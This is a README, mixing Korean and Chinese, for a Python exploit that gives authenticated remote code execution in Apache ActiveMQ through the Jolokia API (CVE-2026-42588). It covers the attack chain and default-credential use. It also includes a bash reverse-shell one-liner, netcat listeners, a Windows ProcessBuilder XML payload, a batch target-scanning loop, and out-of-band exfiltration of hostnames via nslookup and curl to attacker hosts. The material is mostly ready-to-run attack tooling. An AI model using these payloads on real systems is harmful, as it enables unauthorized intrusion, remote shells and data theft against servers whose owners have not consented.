
Apache ActiveMQ Jolokia를 대상으로 하는 CVE-2026-42588용 Python 기반 RCE 익스플로잇입니다. 확인 전용 모드, 악성 XML 생성, 리버스 셸, OOB 및 파일 기반 검증을 지원합니다.
심각도: 🔴 고위험 (CVSS 4.0: 8.1)
취약점 유형: CWE-94 — 코드 인젝션
영향받는 버전: Apache ActiveMQ < 5.19.7 / 6.0.0 ≤ version < 6.2.6
이용 전제: Web Console 인증 자격 증명 필요 (기본admin:admin)
CVE-2026-42588은 Apache ActiveMQ에 존재하는 인증 후 원격 코드 실행(RCE) 취약점입니다.
공격자는 Web Console 인증 자격 증명을 가지고 있는 경우, Jolokia JMX-HTTP 브리지 인터페이스 (/api/jolokia/)를 통해 BrokerService.addNetworkConnector(String) 메서드를 호출하고, 정교하게 조작된 masterslave:// discovery URI를 전달하여 xbean: 프로토콜을 이용해 원격 Spring XML 설정 파일을 로드하고, 최종적으로 ActiveMQ Broker의 JVM에서 임의의 시스템 명령을 실행합니다.
/api/jolokia/ (Jolokia JMX-HTTP Bridge)
│
▼
BrokerService.addNetworkConnector(String)
│
▼
masterslave://?brokerConfig=xbean:http://attacker/malicious.xml
│
▼
XBeanBrokerFactory → ResourceXmlApplicationContext
│
▼
Spring 预实例化所有单例 Bean → 触发 Runtime.exec() / ProcessBuilder
│
▼
🚨 远程代码执行 (RCE)
| 구성 요소 | 설명 |
|---|---|
| Jolokia 노출면 | ActiveMQ Web Console 기본적으로 /api/jolokia/를 노출하며, org.apache.activemq:* MBean에 대해 exec 작업을 허용 |
| 위험 메서드 | BrokerService.addNetworkConnector(String)는 discovery URI를 수신하여 파싱 |
| URI 트리거 체인 | masterslave:// 프로토콜의 brokerConfig 매개변수를 제어할 수 있으며, xbean: scheme과 함께 Spring 컨텍스트 로드 트리거 |
| RCE 트리거 포인트 | XBeanBrokerFactory가 ResourceXmlApplicationContext를 사용하여 원격 XML을 로드하고, Spring은 설정 검증 전에 모든 싱글톤 Bean을 인스턴스화함 |
| 버전 범위 | 상태 |
|---|---|
| Apache ActiveMQ < 5.19.7 | ❌ 영향 받음 |
| 6.0.0 ≤ Apache ActiveMQ < 6.2.6 | ❌ 영향 받음 |
| Apache ActiveMQ ≥ 5.19.7 | ✅ 수정됨 |
| Apache ActiveMQ ≥ 6.2.6 | ✅ 수정됨 |
/api/jolokia/ 인터페이스에 공격자가 접근 가능 (기본 포트 8161)admin:admin).
├── CVE-2026-42588_EXP.py # 漏洞利用脚本(核心)
├── malicious.xml # 恶意 Spring XML 模板
├── requirements.txt # Python 依赖
└── README.md # 本文件
| 파일 | 용도 |
|---|---|
CVE-2026-42588_EXP.py | Python 취약점 이용 스크립트, 탐지 모드 (--check-only) 및 XML 생성 모드 (--gen-xml) 지원 |
malicious.xml | 악성 Spring XML 설정 템플릿, Runtime.exec() 및 ProcessBuilder 두 가지 이용 방식 포함 |
pip install -r requirements.txt
python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml
python3 -m http.server 8080
# 使用默认凭据 admin/admin
python CVE-2026-42588_EXP.py \
-u http://192.168.1.100:8161 \
-x http://your-attacker-ip:8080/malicious.xml
# 使用自定义凭据
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-U myuser \
-P mypass \
-x http://your-attacker-ip:8080/malicious.xml
python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only
usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
[-x XML_URL] [--check-only] [--gen-xml]
[-c COMMAND] [--timeout TIMEOUT] [--no-verify]
选项:
-u, --url 目标 ActiveMQ URL (如 http://192.168.1.100:8161)
-U, --username Web Console 用户名 (默认: admin)
-P, --password Web Console 密码 (默认: admin)
-x, --xml-url 恶意 Spring XML 文件的远程 URL
--check-only 仅检测 Jolokia 接口是否可访问
--gen-xml 生成恶意 XML 文件并输出到 stdout
-c, --command 要在目标上执行的命令 (默认: touch /tmp/activemq_pwned)
--timeout HTTP 请求超时秒数 (默认: 30)
--no-verify 禁用 SSL 证书验证
1. 공격자 머신에서 악성 XML 생성:
python CVE-2026-42588_EXP.py --gen-xml \
-c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
> reverse_shell.xml
2. XML 호스팅 및 리스너 시작:
# 终端1:HTTP 服务
python3 -m http.server 8080
# 终端2:nc 监听
nc -lvnp 4444
3. 취약점 트리거:
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-x http://10.0.0.1:8080/reverse_shell.xml
1. Windows용 악성 XML 생성:
malicious.xml의 ProcessBuilder 명령을 다음과 같이 수정:
<bean class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>whoami > C:\windows\temp\pwned.txt</value>
</list>
</constructor-arg>
</bean>
2. 호스팅 및 실행:
python CVE-2026-42588_EXP.py \
-u http://windows-target:8161 \
-x http://attacker:8080/malicious_win.xml
# 批量检测
for ip in $(cat targets.txt); do
echo "=== Testing $ip ==="
python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
done
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2026-42588 攻击链 │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ① 攻击者 ⑤ ActiveMQ Broker (JVM) │
│ ┌──────────┐ ┌──────────────────────────┐ │
│ │ EXP脚本 │──── ② HTTP POST ───────▶│ /api/jolokia/ │ │
│ │ │ Jolokia exec() │ │ │
│ │ │ Basic Auth │ BrokerService. │ │
│ │ │ │ addNetworkConnector( │ │
│ │ │ │ "masterslave://? │ │
│ │ │ │ brokerConfig= │ │
│ │ │ │ xbean:http://... │ │
│ │ │ │ /malicious.xml" │ │
│ └──────────┘ │ ) │ │
│ │ └────────┬─────────────────┘ │
│ │ │ │
│ │ ③ HTTP GET ▼ │
│ │ ┌──────────────────────┐ ┌────────────────────────────┐ │
│ └─▶│ 攻击者 HTTP 服务器 │ │ ResourceXmlApplication │ │
│ │ (python http.server) │ │ Context 加载远程 XML │ │
│ │ │ │ │ │
│ │ malicious.xml │ │ Spring 预实例化 Bean ──▶ │ │
│ └──────────────────────┘ │ Runtime.exec() / │ │
│ │ ProcessBuilder.start() │ │
│ │ │ │ │
│ │ ▼ │ │
│ │ 🚨 RCE 成功 🚨 │ │
│ └────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
명령 실행은 Spring XML 파싱 단계에서 발생하며 비동기적이므로, HTTP 응답에 실행 결과가 직접 나타나지 않을 수 있습니다. 다음 방법으로 확인하는 것을 권장합니다.
# 攻击机
nc -lvnp 4444
# 命令中使用 nslookup 或 curl 回传
nslookup $(hostname).your-dns-server.com
# 目标上检查标志文件
ls -la /tmp/activemq_pwned
# 在恶意 XML 中使用
curl http://your-server:8888/$(hostname)
# 同时在攻击机上监听
nc -lvnp 8888